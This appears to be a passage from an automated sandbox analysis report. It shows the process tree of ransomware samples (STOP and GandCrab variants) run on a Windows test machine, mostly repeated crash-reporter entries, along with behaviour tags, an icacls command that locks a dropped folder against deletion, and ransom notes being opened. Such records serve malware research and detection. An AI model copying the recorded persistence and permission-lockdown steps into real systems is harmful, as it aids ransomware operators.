  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3552 -s 1608
      4⤵
      Program crash
      PID:12012
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3552 -s 1744
      4⤵
      Program crash
      PID:9308
  - - C:\Users\Admin\Desktop\00379\Trojan-Ransom.Win32.Stop.in-488fc31a56df22ee62120505326df0699627525c17fbdde472437f447ba2b779.exe
      "C:\Users\Admin\Desktop\00379\Trojan-Ransom.Win32.Stop.in-488fc31a56df22ee62120505326df0699627525c17fbdde472437f447ba2b779.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      PID:9640
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9640 -s 796
        5⤵
        Program crash
        
        PID:7616
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9640 -s 804
        5⤵
        Program crash
        
        PID:7732
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9640 -s 884
        5⤵
        Program crash
        
        PID:12008
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9640 -s 892
        5⤵
        Program crash
        
        PID:8296
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9640 -s 1040
        5⤵
        Program crash
        
        PID:9500
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9640 -s 1088
        5⤵
        Program crash
        
        PID:7532
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9640 -s 1352
        5⤵
        Program crash
        
        PID:4080
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9640 -s 1444
        5⤵
        Program crash
        
        PID:10220
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9640 -s 1804
        5⤵
        Program crash
        
        PID:6252
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9640 -s 1596
        5⤵
        Program crash
        
        PID:928
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9640 -s 1808
        5⤵
        Program crash
        
        PID:11640
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9640 -s 1804
        5⤵
        Program crash
        
        PID:11848
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9640 -s 1820
        5⤵
        Program crash
        
        PID:9176
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9640 -s 1768
        5⤵
        
        PID:6920
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9640 -s 1636
        5⤵
        
        PID:12276
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9640 -s 1816
        5⤵
        
        PID:8116
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9640 -s 1768
        5⤵
        
        PID:2716
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9640 -s 1792
        5⤵
        
        PID:14536
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9640 -s 1840
        5⤵
        
        PID:14932
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9640 -s 1660
        5⤵
        
        PID:15936
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9640 -s 1768
        5⤵
        
        PID:18880
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9640 -s 840
        5⤵
        
        PID:23540
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9640 -s 1404
        5⤵
        
        PID:25808
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9640 -s 1040
        5⤵
        
        PID:28148
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9640 -s 1372
        5⤵
        
        PID:25360
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3552 -s 1912
      4⤵
      Program crash
      PID:6944
- - C:\Users\Admin\Desktop\00379\Trojan-Ransom.Win32.Stop.kz-51279cf0dd0716de867e5bc706ef180f4ff1ed62e56c8a5858565408f41423c5.exe
    Trojan-Ransom.Win32.Stop.kz-51279cf0dd0716de867e5bc706ef180f4ff1ed62e56c8a5858565408f41423c5.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3192
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3192 -s 860
      4⤵
      Program crash
      PID:5668
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3192 -s 868
      4⤵
      Program crash
      PID:5332
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3192 -s 912
      4⤵
      Program crash
      PID:8168
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3192 -s 920
      4⤵
      Program crash
      PID:7056
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3192 -s 1096
      4⤵
      Program crash
      PID:3412
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3192 -s 1120
      4⤵
      Program crash
      PID:9748
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3192 -s 1380
      4⤵
      Program crash
      PID:10916
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3192 -s 1620
      4⤵
      Program crash
      PID:9316
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3192 -s 1680
      4⤵
      Program crash
      PID:7072
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3192 -s 1636
      4⤵
      Program crash
      PID:5696
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3192 -s 1840
      4⤵
      Program crash
      PID:1360
  - - C:\Users\Admin\Desktop\00379\Trojan-Ransom.Win32.Stop.kz-51279cf0dd0716de867e5bc706ef180f4ff1ed62e56c8a5858565408f41423c5.exe
      "C:\Users\Admin\Desktop\00379\Trojan-Ransom.Win32.Stop.kz-51279cf0dd0716de867e5bc706ef180f4ff1ed62e56c8a5858565408f41423c5.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      PID:8308
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8308 -s 792
        5⤵
        Program crash
        
        PID:9104
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8308 -s 832
        5⤵
        Program crash
        
        PID:1284
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8308 -s 864
        5⤵
        Program crash
        
        PID:11012
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8308 -s 928
        5⤵
        Program crash
        
        PID:7808
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8308 -s 1064
        5⤵
        Program crash
        
        PID:8140
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8308 -s 1076
        5⤵
        Program crash
        
        PID:11800
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8308 -s 1320
        5⤵
        Program crash
        
        PID:9000
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8308 -s 1560
        5⤵
        Program crash
        
        PID:6196
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8308 -s 1632
        5⤵
        Program crash
        
        PID:8068
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8308 -s 1816
        5⤵
        
        PID:7544
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8308 -s 1648
        5⤵
        
        PID:8464
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8308 -s 1652
        5⤵
        
        PID:12296
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8308 -s 1840
        5⤵
        
        PID:12736
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8308 -s 1676
        5⤵
        
        PID:13020
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8308 -s 1832
        5⤵
        
        PID:14016
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8308 -s 1676
        5⤵
        
        PID:1260
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8308 -s 1812
        5⤵
        
        PID:15664
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8308 -s 1804
        5⤵
        
        PID:16228
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8308 -s 1628
        5⤵
        
        PID:19988
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8308 -s 796
        5⤵
        
        PID:22760
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8308 -s 1840
        5⤵
        
        PID:28220
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8308 -s 1796
        5⤵
        
        PID:25340
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3192 -s 1704
      4⤵
      Program crash
      PID:2440
- - C:\Users\Admin\Desktop\00379\Trojan-Ransom.Win32.Stop.ln-c68ff2b64fe8310e584f0680e62c1283df48af9d09be486feaa820b57090e79c.exe
    Trojan-Ransom.Win32.Stop.ln-c68ff2b64fe8310e584f0680e62c1283df48af9d09be486feaa820b57090e79c.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:2828
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Users\Admin\AppData\Local\5198ff1b-df14-4fbf-b4e5-7d3b448b8b11" /deny *S-1-1-0:(OI)(CI)(DE,DC)
      4⤵
      Modifies file permissions
      PID:9872
  - - C:\Users\Admin\Desktop\00379\Trojan-Ransom.Win32.Stop.ln-c68ff2b64fe8310e584f0680e62c1283df48af9d09be486feaa820b57090e79c.exe
      "C:\Users\Admin\Desktop\00379\Trojan-Ransom.Win32.Stop.ln-c68ff2b64fe8310e584f0680e62c1283df48af9d09be486feaa820b57090e79c.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      PID:12164
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 12164 -s 1668
        5⤵
        
        PID:28172
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2828 -s 1676
      4⤵
      Program crash
      PID:8508
- - C:\Users\Admin\Desktop\00379\UDS-Trojan-Ransom.Win32.GandCrypt.a-ecffab4f2c602dc448fc660d951c597bece58b709d98ee6ff03c3010473ffeee.exe
    UDS-Trojan-Ransom.Win32.GandCrypt.a-ecffab4f2c602dc448fc660d951c597bece58b709d98ee6ff03c3010473ffeee.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Enumerates connected drives
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    PID:2088

C:\Windows\SysWOW64\bmlplan.exe
"C:\Windows\SysWOW64\bmlplan.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2660
- C:\Windows\SysWOW64\bmlplan.exe
  --3b4664a0
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:1896

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 4440 -ip 4440
1⤵
PID:224

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\YEYFQM-MANUAL.txt
1⤵
PID:2000

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 2864 -ip 2864
1⤵
PID:3112

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 3552 -ip 3552
1⤵
PID:464

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 3552 -ip 3552
1⤵
PID:2340

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 3552 -ip 3552
1⤵
PID:928

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3552 -ip 3552
1⤵
PID:5236

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 3192 -ip 3192
1⤵
PID:5592

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 3552 -ip 3552
1⤵
PID:5748

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 3192 -ip 3192
1⤵
PID:1160

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 3552 -ip 3552
1⤵
PID:5520

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5592

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 3192 -ip 3192
1⤵
PID:6484

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 3552 -ip 3552
1⤵
PID:8084

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 3192 -ip 3192
1⤵
PID:10012

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 3552 -ip 3552
1⤵
PID:9704

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Public\Desktop\YEYFQM-MANUAL.txt
1⤵
PID:8228

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:8636

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 3192 -ip 3192
1⤵
PID:9228

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 3552 -ip 3552
1⤵
PID:9400

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 3192 -ip 3192
1⤵
PID:11668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:11496

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 2828 -ip 2828
1⤵
PID:9516

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 3552 -ip 3552
1⤵
PID:8060

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 10624 -ip 10624
1⤵
PID:8648

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 3192 -ip 3192
1⤵
PID:7172

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 3552 -ip 3552
1⤵
PID:10424

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 3192 -ip 3192
1⤵
PID:9496

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 12188 -ip 12188
1⤵
PID:6052

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 3192 -ip 3192
1⤵
PID:5332

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 3552 -ip 3552
1⤵
PID:6328

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 9680 -ip 9680
1⤵
PID:9360

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 3552 -ip 3552
1⤵
PID:9552

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 3192 -ip 3192
1⤵
PID:11228

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 10128 -ip 10128
1⤵
PID:3244

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 3552 -ip 3552
1⤵
PID:11868

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 3192 -ip 3192
1⤵
PID:7164

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 9640 -ip 9640
1⤵
PID:6632

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 6384 -ip 6384
1⤵
PID:10368

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 3192 -ip 3192
1⤵
PID:7648

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 9640 -ip 9640
1⤵
PID:9420

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 9640 -ip 9640
1⤵
PID:7084

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 12200 -ip 12200
1⤵
PID:9660

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 9640 -ip 9640
1⤵
PID:10888

C:\Windows\system32\werfault.exe
werfault.exe /h /shared Global\412fa446ec2b490c953a3d806da72146 /t 7512 /p 6504
1⤵
PID:5388

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 8308 -ip 8308
1⤵
PID:11644

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 7576 -ip 7576
1⤵
PID:7840

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 676 -p 9640 -ip 9640
1⤵
PID:7800

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 680 -p 8308 -ip 8308
1⤵
PID:8404

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 9640 -ip 9640
1⤵
PID:12168

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 656 -p 7428 -ip 7428
1⤵
PID:8976

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 628 -p 8308 -ip 8308
1⤵
PID:9044

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 9640 -ip 9640
1⤵
PID:2504

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 8308 -ip 8308
1⤵
PID:7440

C:\Windows\system32\werfault.exe
werfault.exe /h /shared Global\268653175fa54912b689e1faf22ba7fc /t 9872 /p 5784
1⤵
PID:7560

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 708 -p 10964 -ip 10964
1⤵
PID:7008

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 8308 -ip 8308
1⤵
PID:9432

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 632 -p 9640 -ip 9640
1⤵
PID:9788

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 5944 -ip 5944
1⤵
PID:12168

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 680 -p 8308 -ip 8308
1⤵
PID:5260

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 9640 -ip 9640
1⤵
PID:9784

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 684 -p 9400 -ip 9400
1⤵
PID:7572

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 8308 -ip 8308
1⤵
PID:6236

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 784 -p 9640 -ip 9640
1⤵
PID:12104

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 712 -p 7820 -ip 7820
1⤵
PID:9172

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 9640 -ip 9640
1⤵
PID:7544

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 660 -p 8308 -ip 8308
1⤵
PID:392

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 9640 -ip 9640
1⤵
PID:11624

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 5944 -ip 5944
1⤵
PID:9420

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 8308 -ip 8308
1⤵
PID:6776

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 9640 -ip 9640
1⤵
PID:5784

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 1932 -ip 1932
1⤵
PID:9956

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 8308 -ip 8308
1⤵
PID:10488

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 9640 -ip 9640
1⤵
PID:9708

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 5108 -ip 5108
1⤵
PID:9116

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 8308 -ip 8308
1⤵
PID:8420

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 9640 -ip 9640
1⤵
PID:10488

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:10688

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 712 -p 10940 -ip 10940
1⤵
PID:8420

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 9640 -ip 9640
1⤵
PID:11228

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 8308 -ip 8308
1⤵
PID:11092

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 624 -p 8308 -ip 8308
1⤵
PID:12640

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 12648 -ip 12648
1⤵
PID:12720

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 8308 -ip 8308
1⤵
PID:12952

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 13092 -ip 13092
1⤵
PID:13160

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 13176 -ip 13176
1⤵
PID:13896

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\FILES ENCRYPTED.txt
1⤵
PID:14024

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 13160 -ip 13160
1⤵
PID:12308

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 13376 -ip 13376
1⤵
PID:13432

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 696 -p 13228 -ip 13228
1⤵
PID:12704

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 14124 -ip 14124
1⤵
PID:13420

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 712 -p 13456 -ip 13456
1⤵
PID:13784

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 712 -p 14460 -ip 14460
1⤵
PID:14572

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 712 -p 14808 -ip 14808
1⤵
PID:13600

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 9640 -ip 9640
1⤵
PID:15228

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:14900

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 704 -p 8308 -ip 8308
1⤵
PID:14748

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 14860 -ip 14860
1⤵
PID:3400

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\s5vkt93u-readme.txt
1⤵
PID:14400

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 9640 -ip 9640
1⤵
PID:15004

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 8308 -ip 8308
1⤵
PID:3404

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 696 -p 9640 -ip 9640
1⤵
PID:9536

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 13208 -ip 13208
1⤵
PID:15384

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 660 -p 8308 -ip 8308
1⤵
PID:15492

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 9640 -ip 9640
1⤵
PID:15848

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 8308 -ip 8308
1⤵
PID:16072

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 16172 -ip 16172
1⤵
PID:15188

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 15984 -ip 15984
1⤵
PID:15804

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 9536 -ip 9536
1⤵
PID:16424

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 788 -p 16952 -ip 16952
1⤵
PID:17020

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 16764 -ip 16764
1⤵
PID:14524

